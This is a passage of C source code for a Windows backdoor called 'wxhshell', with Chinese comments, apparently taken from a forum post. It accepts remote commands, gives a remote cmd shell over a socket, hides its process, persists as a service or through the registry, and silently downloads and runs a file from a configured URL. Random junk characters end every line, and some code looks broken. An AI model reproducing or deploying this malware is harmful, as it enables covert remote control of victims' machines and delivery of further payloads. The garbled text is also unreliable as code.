      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wo)$*?  
    break; Qa`+-W u8  
  } U{1%ldOJ%  
  // 安装 xB5qX7*.  
  case 'i': { p>#sR4d>  
    if(Install()) Q1kZ+b&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9w3KAca  
    else TAL,(&[s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "w 7{,HP  
    break; 5Z;iK(>IX  
    } v']Tusmg  
  // 卸载  4,g_$)  
  case 'r': { RE._Ov>  
    if(Uninstall()) } H#C<:A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _uXb 9  
    else Cb4.N 8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \/XU v(  
    break; %f)%FN . S  
    } ?)NgODU  
  // 显示 wxhshell 所在路径 [0bp1S~  
  case 'p': { ._%8H  
    char svExeFile[MAX_PATH]; Jb/VITqN4  
    strcpy(svExeFile,"\n\r"); @LSfP  
      strcat(svExeFile,ExeFile); B:)PUBb  
        send(wsh,svExeFile,strlen(svExeFile),0); "2 \},o9  
    break; pTB1I3=.u  
    } , wXixf2  
  // 重启 H 0( .p'eN  
  case 'b': { E!A+J63zsw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B,V:Qs6"  
    if(Boot(REBOOT)) pk8`suZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xe"A;6H  
    else { L;\f^v(  
    closesocket(wsh); ]ZR}Pm/CA  
    ExitThread(0); dzk1!yy  
    } /07iQcT(  
    break; t $m:  
    } `}:pUf  
  // 关机  "tT68  
  case 'd': { cqYMzS t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^O.` P  
    if(Boot(SHUTDOWN)) 4V<.:.k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9y'To JZ6  
    else { _|r/* (hh  
    closesocket(wsh); "]T1DG"  
    ExitThread(0); a#D \8;  
    }  sWyx_  
    break; F4NM q&_  
    } 'QSj-  
  // 获取shell 7Y?59 [  
  case 's': { _U|rTil  
    CmdShell(wsh); Ddh  
    closesocket(wsh); \J(kevX  
    ExitThread(0); %MCJ%Ph  
    break; &8;Fi2}(L  
  } / z m+  
  // 退出 w-];!;%  
  case 'x': { btOx\y}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;fYJ]5>  
    CloseIt(wsh); :jy}V'bn$  
    break; wZ5k|5KtW  
    } HCKocL/]h  
  // 离开 _BEDQb{"|  
  case 'q': { x.9[c m-!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yxtfyf|9 '  
    closesocket(wsh); ep6V2R  
    WSACleanup(); 6&"*{E  
    exit(1); i"0*)$ h W  
    break; |w"G4J6ha  
        } =}" P;4:  
  } nt%fJ k  
  } /2Z7  
')T*cLQ><  
  // 提示信息 ]`q]\EH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y*Gq VA[  
} ^V~^[Yp  
  } mg< v9#  
d};[^q6X  
  return; 9ec>#Vxx  
} z57q |  
$a|>>?8  
// shell模块句柄 )EK\3q  
int CmdShell(SOCKET sock) S c ijf 9  
{ gj7'4 3 ?W  
STARTUPINFO si; IL,iu  
ZeroMemory(&si,sizeof(si)); 33ZHrZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jt:)(&-t   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >E7s}bL"  
PROCESS_INFORMATION ProcessInfo; 4~AY: ib|  
char cmdline[]="cmd"; @X2zIFm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?AVnv(_  
  return 0; bN&DotG  
} :*vSC:q  
Z6zLL   
// 自身启动模式 [x%8l,O #l  
int StartFromService(void) .E 9$j<SP-  
{ wHZ(=z/q  
typedef struct b\^1P;!'W  
{ pxI[/vS N  
  DWORD ExitStatus; 6FX]b4  
  DWORD PebBaseAddress; (tF/2cZk  
  DWORD AffinityMask; |kF"p~s  
  DWORD BasePriority; 5s%FHa  
  ULONG UniqueProcessId; 8 .&P4u i  
  ULONG InheritedFromUniqueProcessId; /!_FE+  
}   PROCESS_BASIC_INFORMATION; =eR#]d  
.zy2_3:  
PROCNTQSIP NtQueryInformationProcess; T-\q3X|y/  
v+i==vxg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?k=)T]-}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ? <w[ZWytm  
'JO}6 ;W  
  HANDLE             hProcess; t]{, 7.S  
  PROCESS_BASIC_INFORMATION pbi; y#P _ }Kfo  
E*yot[kj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C,8@V`  
  if(NULL == hInst ) return 0; #^_7i)=~  
F ~e}=Nb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *l@T 9L[M'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (SCZ.G(>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @.=2*e.z|b  
VrKLEN\  
  if (!NtQueryInformationProcess) return 0; bo??9 1B^7  
"HLh3L~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t Kjk<  
  if(!hProcess) return 0; uG/b Cb+V  
KkJE-k*D+w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ug/P>0  
Ko!a`I2M}  
  CloseHandle(hProcess); % C)|fDwN  
;[7#h8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {M23a _t\  
if(hProcess==NULL) return 0; 'N&s$XB,  
:4>LtfA  
HMODULE hMod; @sRb1+nn  
char procName[255]; H:t2;Z'  
unsigned long cbNeeded; t4p-pH'9b  
rc}=`D`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rm<`H(cT  
qvs[Gkaa@  
  CloseHandle(hProcess); >`n)-8  
9?|m ^  
if(strstr(procName,"services")) return 1; // 以服务启动 .4!wp&  
:FixLr!q  
  return 0; // 注册表启动 618bbftx{  
} :io~{a#.2\  
v){X&HbP  
// 主模块 +p-S36K~,7  
int StartWxhshell(LPSTR lpCmdLine) RRtOBrIedI  
{ "9RW<+  
  SOCKET wsl; Zf?jnDA  
BOOL val=TRUE; '1lz`CAB+  
  int port=0; ]Gl5Qf:+z  
  struct sockaddr_in door; R;w1& Z  
Z"G?+gM@  
  if(wscfg.ws_autoins) Install(); ^.[+)0I  
.Pa6HA !  
port=atoi(lpCmdLine);  rjHW  
Tt{ft?H71  
if(port<=0) port=wscfg.ws_port; ab5i7@Ed  
3H5<w4yk  
  WSADATA data; E;r~8^9)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,27=i>>  
} d7o-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jG^OF5.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ra]\!;}L0  
  door.sin_family = AF_INET; Bn Nu/02.=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]Wc 2$  
  door.sin_port = htons(port); #~6X9,x=  
7v(<<>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wHErF #xo  
closesocket(wsl); Z.0mX#  
return 1; zQtx!k=  
} -<5H8P-  
d`KW]HJw  
  if(listen(wsl,2) == INVALID_SOCKET) { ={nuz-3  
closesocket(wsl); jAD{?/RB}  
return 1; HF%)ip+  
} (<yQA. M  
  Wxhshell(wsl); o&E2ds3  
  WSACleanup(); W0Q;1${  
h='@Q_1Sb  
return 0; CHM+@lD  
GV SVNT}I  
} 3]/Y= A  
[u8JqX  
// 以NT服务方式启动 1L.yh U\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -GL-&^3IjH  
{ f>+:UGmP  
DWORD   status = 0; h!1CsLd[  
  DWORD   specificError = 0xfffffff; K/LoHWy+n*  
jF%l\$)/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Jz)c|8U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `L "{sW6S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >c@1UEwkm  
  serviceStatus.dwWin32ExitCode     = 0; y7#vH<  
  serviceStatus.dwServiceSpecificExitCode = 0; y &%2  
  serviceStatus.dwCheckPoint       = 0; zC$(/nZ  
  serviceStatus.dwWaitHint       = 0; a~;`&Uj  
xwrleB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2aGK}sS6  
  if (hServiceStatusHandle==0) return; u}KEH@yv  
<k2]GI-}h  
status = GetLastError(); nL* SNQ_  
  if (status!=NO_ERROR) 51x)fZQ  
{ Edav }z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AY%Y,< a  
    serviceStatus.dwCheckPoint       = 0; ,xIWyI.  
    serviceStatus.dwWaitHint       = 0; 3.I:`>;EO  
    serviceStatus.dwWin32ExitCode     = status; s& WHKCb  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9@z"~H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qtn%h:i S~  
    return; ~D\ V!  
  } :S{+|4pH  
nK|WzUtp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZIM 5$JdCv  
  serviceStatus.dwCheckPoint       = 0; ?!kPW^gD  
  serviceStatus.dwWaitHint       = 0; ]+i~Cbj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i^DZK&B@u  
} ZfN%JJOz(  
SgPvQ'\  
// 处理NT服务事件,比如:启动、停止 eI*o9k$Qs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~@bh[o~rF  
{ Zae$M0)  
switch(fdwControl) 2M+'9 +k~  
{ k M' :.QT  
case SERVICE_CONTROL_STOP: [P746b_\e  
  serviceStatus.dwWin32ExitCode = 0; )k|_ CW~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Az>gaJ/_  
  serviceStatus.dwCheckPoint   = 0; 8_F5c@7  
  serviceStatus.dwWaitHint     = 0; 69u"/7X  
  { #Y9~ Xp^.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,_2ZKO/k$  
  } :*/`"M)'  
  return; + %07J6  
case SERVICE_CONTROL_PAUSE: ln6Hr^@5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -V)DKf"f  
  break; -:o4|&g<*  
case SERVICE_CONTROL_CONTINUE: X,h"%S<c#H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KPSHBv-#  
  break;  ,L}  
case SERVICE_CONTROL_INTERROGATE: pe$l'ur  
  break; (-U6woB6o  
};  mVuZ} `  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !z]2+  
} J M,ndl  
y6nPs6kR  
// 标准应用程序主函数 ix]t>2r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <)\  
{ 7}e73  
UL.x*@o  
// 获取操作系统版本 3R sbi  
OsIsNt=GetOsVer(); WD7IF+v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qx~-(|s`H  
$kef_*BQg  
  // 从命令行安装 oMV<Yn_<  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vyqj)1Z8>  
P6ztP$M(  
  // 下载执行文件 XNJPf) T  
if(wscfg.ws_downexe) { hf~'EdU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GF-\WD  
  WinExec(wscfg.ws_filenam,SW_HIDE); o1 kY|cnGH  
} 89[5a  
<,!e*V*U  
if(!OsIsNt) { AsW!GdIN  
// 如果时win9x,隐藏进程并且设置为注册表启动 hc;8Vsa  
HideProc(); RrGFGn{  
StartWxhshell(lpCmdLine); j!:^+F/  
} &6`h%;a/&  
else 58@YWv Ak  
  if(StartFromService()) EBX+fzjQo  
  // 以服务方式启动 >qBQfz:U>  
  StartServiceCtrlDispatcher(DispatchTable); ZYy?JDAO  
else ? 2#MU  
  // 普通方式启动 B~RVFc +  
  StartWxhshell(lpCmdLine); V6C*d:  
=x/Ap1  
return 0; O:Ixy?b;Z  
}
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只看该作者 1 发表于: 2006-10-10
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